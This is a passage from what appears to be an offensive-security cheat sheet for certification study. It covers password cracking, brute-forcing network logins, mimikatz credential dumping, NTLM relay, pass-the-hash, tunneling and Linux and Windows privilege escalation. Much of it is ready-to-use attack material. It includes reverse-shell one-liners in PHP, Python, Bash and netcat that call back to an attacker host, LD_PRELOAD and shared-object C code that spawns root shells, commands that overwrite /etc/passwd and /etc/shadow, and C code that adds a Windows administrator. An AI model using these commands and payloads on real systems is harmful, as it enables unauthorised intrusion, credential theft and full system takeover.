Upper case alpha characters | | % | Numeric characters | | ^ | Special characters including space | Examples of usage: - Structure of the passwords of the target: `[Capital Letter] [2 x lower case letters] [2 x special chars] [3 x numeric]`. Run `crunch 8 8 -t ,@@^^%%%` - Passwords between four and six characters in length, containing only the characters 0-9 and A-F: `crunch 4 6 0123456789ABCDEF -o crunch.txt` - Use a pre-defined character-set with `-f` and include `mixalpha` to include all lower and upper case letters `crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt` **Mutating wordlists** When password policies are implemented, it is helpful to remove password policies that are guaranteed to fail from the worlist. Starting from a wordlist called `demo.txt` - `sed -i '/^1/d' demo.txt` remove all number sequences Many people just append a "1" to the end of an existing password when creating a password with a number value. Create a rule file with $1 that adds a "1" to each password in our wordlist. - Add a rule for hashcat with `echo \$1 > demo.rule` Many people have a tendency to capitalize the initial character in a password when they are required to use an upper case character. - Add a rule with `echo '$1\nc' > demo.rule` - Note: each line in the file is interpreted as a new rule For special characters: - `$1 c $!` to have `Password1!` - `$! $1 c` to have `Password!1` Other rules - Test the rules with `hashcat -r demo.rule --stdout demo.txt` - `/usr/share/hashcat/rules` in Kali - See: [rule_based_attack [hashcat wiki]](https://hashcat.net/wiki/doku.php?id=rule_based_attack) #### <ins>Password Cracking</ins> **Tools** - [John the Ripper](https://www.openwall.com/john/) - [Hashcat](https://hashcat.net/hashcat/) - [Ophcrack](https://ophcrack.sourceforge.io/) #### John the Ripper - Note for Linux-based systems: first use the unshadow utility to combine the passwd and shadow files from the compromised system `unshadow passwd-file.txt shadow-file.txt > unshadowed.txt` - `john -incremental -users:<user list> <file to crack>` pure brute force attack, you can use `-user:<username>` to target a specific user - `john --show crackme` display the passwords recovered - `john --wordlist=<custom wordlist file> -rules <file to crack>` dictionary attack, use `-wordlist` instead of `--wordlist=<custom wordlist file>` to use the john default wordlist - `john hash.txt --format=NT` simple attack to attack NT hashes - `john --rules --wordlist=<custom wordlist file> hash.txt --format=NT` using password mutation rules - `john --rules --wordlist=<custom wordlist file> unshadowed.txt` - To distribute the load and speed up the cracking process (for multi core CPUs) 1. Use the options `--fork=8` and `--node=1-8/16` on the first machine 2. Use the options `--fork=8` and `--node=9-16/16` on the first machine #### Ophcrack 1. Install the tables 2. Load a password file with `Load` 3. Click on the `Crack` button #### Password Manager: KeePass - `Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue` search for KeePass database files - `keepass2john Database.kdbx > keepass.hash` format KeePass database for Hashcat with keepass2john - remove `Database:` from `keepass.hash` - `hashcat -m 13400 keepass.hash wordlist.txt -r hashcat.rule --force` crack the KeePass database hash - find the mode of KeePass in Hashcat with `hashcat --help | grep -i "KeePass"` #### SSH Private Key Passphrase - Prerequisites: found username, old passwords (or common passwords), password policy and private key `id_rsa` - `chmod 600 id_rsa` to change the permissions - `id_rsa` needs a password 1. `ssh2john id_rsa > ssh.hash` > remove `id_rsa:` 2. For JtR, create a file for the rules in the file `ssh.rule` using the found password policy - add `[List.Rules:sshRules]` as the first line of the file - add the rules to JtR config `sudo sh -c 'cat /home/kali/Downloads/ssh.rule >> /etc/john/john.conf'` 3. `john --wordlist=ssh.passwords --rules=sshRules ssh.hash` 4. Connect to the ssh service with `ssh -i id_rsa -p <PORT> <user>@<IP>` and insert the found password #### <ins>Network Service Attack</ins> **Tools** - [Metasploit](https://www.metasploit.com/) - [Medusa](http://h.foofus.net/?page_id=51) - [Spray](https://github.com/Greenwolf/Spray) - [Crowbar](https://github.com/galkan/crowbar) - [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) #### Metasploit - SSH Brute force: `scanner/ssh/ssh_login` #### Medusa, HTTP htaccess Attack - `medusa -d` All the protocols medusa can interact with - ` medusa -h <IP> -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin` - `-m` htaccess-protected URL - `-h` target host - `-u` attack the admin user - `-P` wordlist file - `-M` HTTP authentication scheme #### Crowbar, Remote Desktop Protocol Attack - `crowbar --help` - `crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1` - `-b` specify the protocol - `-s` target server - `-u` username - `-c` wordlist - `-n` number of threads #### THC Hydra - `sudo hydra` - `sudo hydra -L users.txt -P pass.txt <service://server> <options>` launch a dictionary attack - `hydra -L users.txt -P pass.txt telnet://target.server` Telnet example - `hydra -L users.txt -P pass.txt http-get://target.server` Password protected web resource - Specify a port with `-s <PORT>` in <options> SSH Attack - `sudo hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1` - `-l` specify the target username - `-P` specify a wordlist - `protocol://IP` o specify the target protocol and IP address respectively HTTP POST Attack - `sudo hydra http-form-post -U` - `sudo hydra -l user -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"` - `-l` user name - `-P` wordlist - `-vV` verbose output - `-f` stop the attack when the first successful result is found - supply the service module name `http-form-post` and its required arguments `/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN` #### <ins>Leveraging Password Hashes</ins> **Tools** - [Sample password hash encoding strings](https://openwall.info/wiki/john/sample-hashes) - [hashID](https://psypanda.github.io/hashID/) - [hash-identifier](https://www.kali.org/tools/hash-identifier/) - [mimikatz](https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html) - [fgdump](http://foofus.net/goons/fizzgig/fgdump/downloads.htm) - [Credential Editor](https://www.ampliasecurity.com/research/windows-credentials-editor/) - [pth-winexe](https://github.com/byt3bl33d3r/pth-toolkit) - [Responder.py](https://github.com/SpiderLabs/Responder) **Notes** - On most Linux systems, hashed passwords are stored in the `/etc/shadow` file - On Windows systems, hashed user passwords are stored in the Security Accounts Manager (SAM). Microsoft introduced the SYSKEY feature (Windows NT 4.0 SP3) to deter offline SAM database password attacks - Windows NT-based systems, up to and including Windows 2003, store two different password hashes: LAN Manager (LM) (DES based) and NT LAN Manager (NTLM), wich uses MD4 hashing - From Windows Vista on, the operating system disables LM by default and uses NTLM - In Windows, get all local users in PowerShell with `Get-LocalUser` #### Identify hashes - [hash-identifier](https://www.kali.org/tools/hash-identifier/) - [hashid](https://www.kali.org/tools/hashid/) - `hashid <HASH>` - [Hash Analyzer - TunnelsUP](https://www.tunnelsup.com/hash-analyzer/) #### mimikatz 1. `C:\Programs\mimikatz.exe` 2. `privilege::debug` enables the SeDebugPrivilge access right required to tamper with another process 3. `token::elevate` elevate the security token from high integrity (administrator) to SYSTEM integrity 4. `lsadump::sam` dump the contents of the SAM database #### Cracking NTLM 1. Identify the local users with `Get-LocalUser` 2. Run `mimikatz.exe` as an administrator 3. Use the command `privilege::debug` to have `SeDebugPrivilege` access right enabled 4. Use the command `token::elevate` to elevate to SYSTEM user privileges 5. Extract passwords from the system - `sekurlsa::logonpasswords` attempts to extract plaintext passwords and password hashes from all available sources - `lsadump::sam` extracts the NTLM hashes from the SAM 6. Run `hashcat --help | grep -i "ntlm"` to retrieve the correct hash mode 7. `hashcat -m 1000 user.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` #### Cracking Net-NTLMv2 (or NTLMv2) Capture a Net-NTLMv2 hash 1. `ip a` retrieve a list of all interfaces 2. `sudo responder -I <interface>` 3. Wait for a connection, capture the hash and save it as `user.hash` Crack the Net-NTLMv2 hash 1. `hashcat --help | grep -i "ntlm"` 2. `hashcat -m 5600 user.hash /usr/share/wordlists/rockyou.txt --force` Relaying Net-NTLMv2 1. Instead of printing a retrieved Net-NTLMv2 hash, we'll forward it to `<IP>` that it's the target machine 2. `sudo impacket-ntlmrelayx --no-http-server -smb2support -t <IP> -c "powershell -enc <BASE64>"` - use it to execute a reverse shell on your machine on port `<PORT>` and run a listener `nc -nvlp <PORT>` - see how to encode one-liner in base64 [here](#microsoft-office) 3. Now, if a user tries to connect to our machine with `dir \\<ATTACKER-IP>\test`, it will forward the request to `<IP>` and execute the command specified in the flag `-c` #### Pass-the-Hash Note: this attack works for `Administrator` user (except for certain conditions). Since Windows Vista, all Windows versions have [UAC remote restrictions](https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction) enabled by default. - From Mimikatz, run `privilege::debug`, `token::elevate` and `lsadump::sam` to obtain the NTLM hash of Administrator - Gain access to a SMB share with `smbclient \\\\<IP>\\<SMB-SHARE> -U Administrator --pw-nt-hash <Administrator-HASH>` - Gain an interactive shell with `impacket-psexec -hashes <LMHash>:<NTHash> <username>@<ip> <command>` - This will always give a shell as `SYSTEM`, use `impacket-wmiexec` to obtain a shell as the user used for authentication - `<command>` is optional. If left blank, cmd.exe will be executed - See also: [impacket-scripts](https://www.kali.org/tools/impacket-scripts/) Other notes: - ["Pass the Hash Attack"](https://www.netwrix.com/pass_the_hash_attack_explained.html) - ["PsExec Explainer by Mark Russinovich"](https://www.itprotoday.com/windows-server/psexec-explainer-mark-russinovich) - [pth-winexe](https://github.com/byt3bl33d3r/pth-toolkit) - `pth-winexe -U <domain/username>%<hash> //<targetIP> cmd.exe` - `-U` specifying the username and hash, along with the SMB share and the name of the command to execute ## Port Redirection and Tunneling **Tools** - [rinetd](https://github.com/samhocevar/rinetd) - [ProxyChains](https://github.com/haad/proxychains) - [Plink.exe](https://the.earth.li/~sgtatham/putty/0.53b/htmldoc/Chapter7.html) - [HTTPTunnel](https://github.com/larsbrinkhoff/httptunnel) ### <ins>Port Forwarding</ins> #### rinetd 1. Edit `/etc/rinetd.conf`, add `0.0.0.0 <Local-PORT> <IP> <DEST-PORT>` - This means that all traffic received on port `<Local-PORT>` of our machine, listening on all interfaces (`0.0.0.0`), regardless of destination address, will be forwarded to `<IP>:<DEST-PORT>`. 2. Restart rinetd `sudo service rinetd restart` and confirm that the port is bound with `ss -antp | grep "80"` #### Socat - `socat -ddd TCP-LISTEN:<PORT>,fork TCP:<DEST-IP>:<DEST-PORT>` - The traffic received on port `<PORT>` will be forwarded to `<DEST-IP>:<DEST-PORT>` - Example with SSH `socat TCP-LISTEN:2222,fork TCP:<IP>:22` - Example with psql -h 192.168.50.63 -p 2345 -U postgres `socat -ddd TCP-LISTEN:2345,fork TCP:<IP>:5432` ### <ins>SSH Tunneling</ins> See: ["SSH Tunneling: Examples, Command, Server Config"](https://www.ssh.com/academy/ssh/tunneling-example) #### SSH Local Port Forwarding - Give a reverse shell [TTY](https://en.wikipedia.org/wiki/TTY) functionality with Python3's pty: `python3 -c 'import pty; pty.spawn("/bin/bash")'` - `ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>` - `ssh -N -L <bind_address>:<port>:<host>:<hostport> <username>@<address>` - Listen on all interfaces (`<bind_address>` = `0.0.0.0`) on port `<port>`, then forward all packets through the SSH tunnel (`<username>@<address>`) to port `<hostport>` on the host `<host>` - Verify it with `ss -ntplu` #### SSH Dynamic Port Forwarding 1. From the reverse shell, run `ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>` 2. Now we must direct our tools to use this proxy with ProxyChains - Edit the ProxyChains configuration file `/etc/proxychains.conf`, add the SOCKS5 proxy `socks5 <IP-reverse-shell> <port to bind to>` 3. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains - Example with nmap: `sudo proxychains nmap -vvv -sT --top-ports=20 -Pn <IP>` - Example with SMB: `proxychains smbclient -L //<IP>/ -U <username> --password=<password>` #### SSH Remote Port Forwarding 1. Start ssh on your local machine 2. On the reverse shell: `ssh -N -R [bind_address]:port:host:hostport [username@address]` - Set `[bind_address]` as `127.0.0.1` - `[username@address]` of your local ssh #### SSH Remote Dynamic Port Forwarding 1. On the reverse shell, run `python3 -c 'import pty; pty.spawn("/bin/bash")'` and `ssh -N -R <PORT> [username@address]` - `[username@address]` of your local ssh 2. Edit the ProxyChains configuration file `/etc/proxychains.conf`, add the SOCKS5 proxy `socks5 127.0.0.1 <PORT>` 3. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains #### Sshuttle 1. Note: it requires root privileges on the SSH client and Python3 on the SSH server 2. From the reverse shell, run `socat TCP-LISTEN:2222,fork TCP:<forward-IP>:<forward-PORT>` 3. `sshuttle -r <ssh-connection-string> <subnet> ...` - Specify the SSH connection string we want to use `<ssh-connection-string>` and the subnets that we want to tunnel through this connection (ex. `10.74.23.0/24 172.16.163.0/24`) ### <ins>ssh.exe</ins> 1. Start SSH server on Kali `sudo systemctl start ssh` 2. Connect to the Windows machine. Note: OpenSSH bundled with Windows has to be higher than `7.6` for remote dynamic port forwarding 3. `ssh -N -R <PORT> <kali>@<IP>` 4. Edit the ProxyChains configuration file `/etc/proxychains.conf`, add the SOCKS5 proxy to it (`socks5 127.0.0.1 <PORT>`). 5. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains ### <ins>Plink.exe</ins> The general format is: `plink.exe <user>@<kali-IP> -R <kaliport>:<target-IP>:<target-port>` The first time plink connects to a host, it will attempt to cache the host key in the registry. For this reason, we should pipe the answer to the prompt with the `cmd.exe /c echo y` command. The final result will look like `cmd.exe /c echo y | plink.exe <user>@<kali> -R <kaliport>:<target-IP>:<target-port>`. ### <ins>Netsh</ins> #### Local port forwarding `netsh interface portproxy add v4tov4 listenport=<PORT> listenaddress=<IP> connectport=<forward-PORT> connectaddress=<forward-IP>` - use netsh (`interface`) context to `add` an IPv4-to-IPv4 (`v4tov4`) proxy (`portproxy`) - listening on `<target-IP>` (`listenaddress=target-IP`), port `<target-port>` (`listenport=<target-port>`) - that will forward to `<forward-IP>` (`connectaddress=<forward-IP>`), port `<forward-port>` (`connectport=<forward-port>`) #### allow inbound traffic on TCP port 4455 `netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=<IP> localport=<port> action=allow` ### <ins>HTTP Tunneling</ins> #### <ins>Chisel</ins> 1. The machines are `KALI01`, `DMZ01` and `INTERNAL01` - `KALI01` will listen on TCP port `1080`, a SOCKS proxy port 2. In `KALI01`, copy the [Chisel](https://www.kali.org/tools/chisel/) binary to the Apache2 server folder `sudo cp $(which chisel) /var/www/html/` and start Apache2 `sudo systemctl start apache2` 3. Deliver the Chisel executable to the `DMZ` 4. On `KALI01`, run Chisel `chisel server --port 8080 --reverse` and run `sudo tcpdump -nvvvXi <INTERFACE> tcp port 8080` - `ip a` retrieve the list of all interfaces 5. On `DMZ01`, run the Chisel client command`/tmp/chisel client <KALI01-IP>:8080 R:socks > /dev/null 2>&1 &` 6. Now, you should be able to see inbound Chisel traffic and an incoming connection in the Chisel server 7. Check if the SOCKS port has been opened by the `KALI01` Chisel server with `ss -ntplu` 8. How to use the HTTP Tunnel - SSH with Ncat: Pass an Ncat command to ProxyCommand to use the socks5 protocol and the proxy socket at `127.0.0.1:1080` to connect to `INTERNAL01` - `ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' <username>@<IP>` - `%h` and `%p` tokens represent the SSH command host and port values - Another option is to use ProxyChains by adding `socks5 127.0.0.1 1080` to `/etc/proxychains.conf` and prepending `sudo proxychains` to each command we want to run ### <ins>DNS Tunneling</ins> #### Dnsmasq to setup a DNS resolver 1. Setup: `WAN`, `DMZ` and `INTERNAL` 2. From a machine inside `WAN`, setup a DNS server by using a software like [Dnsmasq](https://thekelleys.org.uk/dnsmasq/doc.html) - `sudo dnsmasq -C dnsmasq.conf -d`. An example of configuration (see also [dnsmasq.conf.example](https://github.com/PowerDNS/dnsmasq/blob/master/dnsmasq.conf.example)): ``` # Do not read /etc/resolv.conf or /etc/hosts no-resolv no-hosts # Define the zone auth-zone=organization.corp auth-server=organization.corp # TXT record txt-record=www.organization.corp,some info. txt-record=www.organization.corp,some other info. ``` - `sudo tcpdump -i ens192 udp port 53` #### [dnscat2](https://github.com/iagox86/dnscat2) 1. Setup: `WAN`, `DMZ` and `INTERNAL` 2. Start `dnscat2-server organization.corp` from `WAN` and connect from `INTERNAL` to it with `./dnscat feline.corp` 3. From `dnscat2-server` > `window -i 1` > `listen 127.0.0.1:<lister-PORT> <IP>:<PORT>` - `<IP>:<PORT>` = machine from `INTERNAL` ### <ins>Linux Privilege Escalation</ins> #### <ins>Resources</ins> - [TryHackMe | Linux PrivEsc](https://tryhackme.com/room/linuxprivesc) - [Linux Privilege Escalation for OSCP & Beyond! | Udemy](https://www.udemy.com/course/linux-privilege-escalation/) - ["Understanding and Using File Permissions | Ubuntu"](https://help.ubuntu.com/community/FilePermissions) - ["File permissions and attributes | Arch Linux"](https://wiki.archlinux.org/title/File_permissions_and_attributes) - [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - Tools - [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2) - [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - [Linux Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) - [Unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check) - `./unix-privesc-check standard > output.txt` - [linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration) - [LinEnum](https://github.com/rebootuser/LinEnum) - [Reverse Shell Generator - rsg](https://github.com/mthbernardes/rsg) #### <ins>Strategy</ins> 1. Check your user with `id` and `whoami` 2. Run [linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration) with increasing levels - starting from lvl `0` to `2`, `./lse.sh -l 0` 4. Run other scripts 5. If the scripts fail, run the commands in this section and see [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) #### <ins>Reverse Shell</ins> **PHP** ```php php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' ``` **Python** ```python python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` **Bash** ```bash #!/bin/bash /usr/bin/bash -i >& /dev/tcp/192.168.45.226/445 0>&1 ``` **More shells** - [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Reverse Shell Generator](https://www.revshells.com/) - [Upgrade a Dumb Shell to a Fully Interactive Shell for More Flexibility](https://null-byte.wonderhowto.com/how-to/upgrade-dumb-shell-fully-interactive-shell-for-more-flexibility-0197224/) - `python -c 'import pty;pty.spawn("/bin/bash")'` - `/usr/bin/script -qc /bin/bash /dev/null` #### <ins>Service Exploits</ins> - `ps aux | grep "^root"` Show all process running as root - Identify the program version with `<program> --version` or `<program> -v` - On Debian like systems, run ` dpkg -l | grep <program>` - On systems that use rpm, run `rpm –qa | grep <program>` **MySQL service running as root with no password assigned** - Run `mysqld --version` - One great exploit is the following: [MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)](https://www.exploit-db.com/exploits/1518) takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service. - Once the UDF is installed, run the following command in the MySQL shell: `mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');` - Run `/tmp/rootbash` for a root shell: `/tmp/rootbash -p` #### <ins>Weak File Permissions</ins> **Readable /etc/shadow** - Check if `/etc/shadow` is readable with `ls -l /etc/shadow` - Run ``` cat /etc/shadow > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` **Writable /etc/shadow** - Check if `/etc/shadow` is writable with `ls -l /etc/shadow` - Generate a new password hash with `mkpasswd -m sha-512 newpass` - Substitute the root password hash with the new hash with `nano /etc/shadow` **Writable /etc/passwd** - Check if `/etc/passwd` is writable with `ls -l /etc/passwd` - Generate a new password hash with `openssl passwd newpass` - Substitute the root password hash with the new hash with `nano /etc/passwd` - or add a new root user to `/etc/passwd` with `echo 'root2:<password hash>:0:0:root:/root:/bin/bash' >> /etc/passwd` - test the new user with `su root2` and `id` #### <ins>Exposed Confidential Information</ins> - `env` inspect environment variables - `cat .bashr` ispect .bashrc - `watch -n 1 "ps -aux | grep pass"` harvest active processes for credentials - `sudo tcpdump -i lo -A | grep "pass"` perform password sniffing #### <ins>Sudo</ins> **Classic method** - Try to run `sudo su` - If `su` doesn't work, try with the followings - `sudo -s` - `sudo -i` - `sudo /bin/bash` - `sudo passwd` **Shell Escape Sequences** - `sudo -l` list the programs which sudo allows your user to run - See [GTFOBins](https://gtfobins.github.io) and search for the program names **apt-get privilege escalation** - [apt get | GTFOBins](https://gtfobins.github.io/gtfobins/apt-get/#sudo) ``` sudo apt-get changelog apt !/bin/sh ``` **Environment Variables** - `sudo -l` check which environment variables are inherited, look for the `env_keep` options - `LD_PRELOAD` loads a shared object before any others when a program is run - `LD_LIBRARY_PATH` provides a list of directories where shared libraries are searched for first - First solution - Create a shared object with `gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c`, use the code below ```C #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); } ``` - `sudo LD_PRELOAD=/tmp/preload.so <program name>` Run one of the programs you are allowed to run via sudo while setting the `LD_PRELOAD` environment variable to the full path of the new shared object - Second solution, with `apache` - See which shared libraries are used by apache `ldd /usr/sbin/apache2` - Create a shared object with the same name as one of the listed libraries, `gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/library_path.c` - ```C #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } ``` - Run `apache2` using sudo, while settings the `LD_LIBRARY_PATH` environment variable to `/tmp`, where the output of the compiled shared object is #### <ins>Cron Jobs</ins> **File Permissions** - View the contents of the system-wide crontab `cat /etc/crontab`, the cron log file `grep "CRON" /var/log/syslog` and see cron jobs, locate the file run with `locate <program>` and see the permissions with `ls -l <program full path>` - If one of them is world-writable, substitute it with the following ```C #!/bin/bash bash -i >& /dev/tcp/<Your-IP>/4444 0>&1 ``` - You can also try with `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your-IP> 4444 >/tmp/f` - Open a listener with `nc -nvlp 4444` **PATH Environment Variable** - See [Task 9 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) - The crontab `PATH` environment variable is by default set to `/usr/bin:/bin` and can be overwritten in the crontab file - It might be possible to create a program or script with the same name as the cron job if the program or script for a cron job does not utilize an absolute path and one of the PATH directories is editable by our user. **Wildcards** - See [Task 10 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) - Generate a reverse shell with `msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf` - make it executable `chmod +x shell.elf` - run other commands as part of a checkpoint feature - `touch /home/user/--checkpoint=1` - `touch /home/user/--checkpoint-action=exec=shell.elf` #### <ins>SUID / SGID Executables</ins> **setuid + GTFOBins** - Check for setuid binaries on the machine `find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null` - Use [GTFOBins](https://gtfobins.github.io/) to elevate your privileges **Known Exploits** - Search for all the SUID/SGID executables on the Linux Machine `find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null` - Use [Exploit-DB](https://www.exploit-db.com/), Google and GitHub to find known exploits **Shared Object Injection** - See [Task 12 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) - `strace <program to run> 2>&1 | grep -iE "open|access|no such file"` run strace and search the output for open/access calls and for "no such file" errors - ```C #include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); } ``` **Environment Variables** - See [Task 13 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) **Abusing Shell Features (#1)** - See [Task 14 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) - > "In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path." - ``` function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service ``` **Abusing Shell Features (#2)** - See [Task 15 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc). Note: This doesn't work on Bash versions 4.4 and above - > "When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements." - `env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' <program>` - `/tmp/rootbash -p` #### <ins>Passwords & Keys</ins> - View the content of history with `cat ~/.*history | less` and search for secrets - Search for config files as they often contain passwords in plaintext or other reversible formats (example: `*.ovpn`) - Search for backups and hidden files - `ls -la /` look for hidden files & directories in the system root - Other common locations to check - `ls -la /home/user` - `ls -la /tmp` - `ls -la /var/backups` - See [Task 18 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) #### <ins>NFS</ins> - > "Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user." - Show the NFS server’s export list: `showmount -e <target>` - The same with nmap: `nmap –sV –script=nfs-showmount <target>` - Mount an NFS share: `mount -o rw,vers=2 <target>:<share> <local_directory>` - See [Task 19 - Linux PrivEsc | TryHackMe](https://tryhackme.com/room/linuxprivesc) **Root Squashing** - Root Squashing is how NFS prevents an obvious privilege escalation - `no_root_squash` turns root squashing off - Check: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe #### <ins>Kernel Exploits</ins> - Enumerate the kernel version `uname -a` - Find an exploit, example: `searchsploit linux kernel 2.6.32 priv esc` - Some resources - Find possible exploits with [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2) - [Dirty COW | CVE-2016-5195](https://dirtycow.ninja/) - [CVE-2017-1000112](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000112) #### <ins>find with exec</ins> - Also known as "Abusing Setuid Binaries" - `find /home/username/Desktop -exec "/usr/bin/bash" -p \;` - See more here: [find | GTFOBins](https://gtfobins.github.io/gtfobins/find/) #### <ins>Abusing capabilities</ins> - `/usr/sbin/getcap -r / 2>/dev/null` enumerate capabilities - Search for `cap_setuid+ep`, meaning that setuid capabilities are enabled, effective and permitted - Search what you need in [GTFOBins](https://gtfobins.github.io/) - Example with Perl: `perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'` ### <ins>Windows Privilege Escalation</ins> #### <ins>Checklist</ins> See [Information gathering | Windows](#windows). Always obtain: - [ ] Username and hostname - [ ] Group memberships of the current user - [ ] Existing users and groups - [ ] Operating system, version and architecture - [ ] Network information - [ ] Installed applications - [ ] Running processes #### <ins>Resources</ins> - [Windows PrivEsc | TryHackMe](https://tryhackme.com/room/windows10privesc) - [Windows Privilege Escalation for OSCP & Beyond!](https://www.udemy.com/course/windows-privilege-escalation/?referralCode=9A533B41ECB74227E574) **Tools** - [AccessChk](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk) - [Sysinternals](https://learn.microsoft.com/en-us/sysinternals/) - [MinGW-w64](https://www.mingw-w64.org/) - [Windows Reverse Shells Cheatsheet](https://podalirius.net/en/articles/windows-reverse-shells-cheatsheet/) - [Windows persistence](#windows-persistence) - Scripts - [Windows Privilege Escalation Awesome Scripts](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) - [Seatbelt](https://github.com/GhostPack/Seatbelt) - [Seatbelt.exe](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe) - `.\Seatbelt.exe all` - `.\Seatbelt.exe -group=all -full` - [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) (archived) - [SharpUp](https://github.com/GhostPack/SharpUp) - [SharpUp.exe](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe) - [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - [Windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check) - `windows-privesc-check2.exe -h` - `windows-privesc-check2.exe --dump -G` - [creddump7](https://github.com/Tib3rius/creddump7) #### <ins>Privileges</ins> - Paper: [Abusing Token Privileges For EoP](https://github.com/hatRiot/token-priv) - List your privileges: `whoami /priv` - `SeImpersonatePrivilege` - `SeAssignPrimaryPrivilege` - `SeBackupPrivilege` - `SeRestorePrivilege` - `SeTakeOwnershipPrivilege` - `SeTcbPrivilege` - `SeCreateTokenPrivilege` - `SeLoadDriverPrivilege` - `SeDebugPrivilege` #### <ins>Strategy</ins> 1. Check your user (`whoami`) and groups (`net user <username>`) 2. Run winPEAS with fast, searchfast, and cmd options - Run Seatbelt & other scripts - Check also: [PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) 3. Have a quick look around for files in your user’s desktop and other common locations - Read through interesting files 4. Try things that don’t have many steps first (e.g. registry exploits, services, etc.) 5. Look at admin processes, enumerate their versions and search for exploits 6. Check for internal ports that you might be able to forward to your attacking machine #### <ins>Add new admin user</ins> ```C #include <stdlib.h> int main () { int i; i = system ("net user /add [username] [password]"); i = system ("net localgroup administrators [username] /add"); return 0; } ``` - 32-bit Windows executable: `i686-w64-mingw32-gcc adduser.c -o adduser.exe` - 64-bit Windows executable: `x86_64-w64-mingw32-gcc -o adduser.exe adduser.c` - Note: [32-bit and 64-bit Windows: Frequently asked 